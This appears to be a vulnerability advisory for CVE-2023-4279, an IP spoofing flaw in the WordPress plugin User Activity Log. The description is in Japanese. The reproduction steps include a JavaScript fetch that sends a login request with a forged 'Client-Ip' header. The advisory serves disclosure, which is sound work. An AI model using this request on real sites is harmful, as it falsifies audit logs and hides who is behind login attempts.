CVE ID: CVE-2023-4279
Vulnerability Type: IPアドレススプーフィング
Description: このプラグインは、信頼できない可能性のあるヘッダーからクライアントのIPアドレスを取得するため、攻撃者がその値を操作できるようになります。これは、悪意のあるトラフィックの送信元を隠すために使用される可能性があります。
Steps to reproduce:
1. In User Activity Log > Settings, enable the setting "Allow Ip Address of users to log." and save settings.
2. Run the following code in the web browser and note on the backend that the IP address has been faked.
await fetch("/wp-login.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
"Client-Ip": "8.8.8.8",
},
"body": "log=USERNAME&pwd=PASSWORD",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
Reference: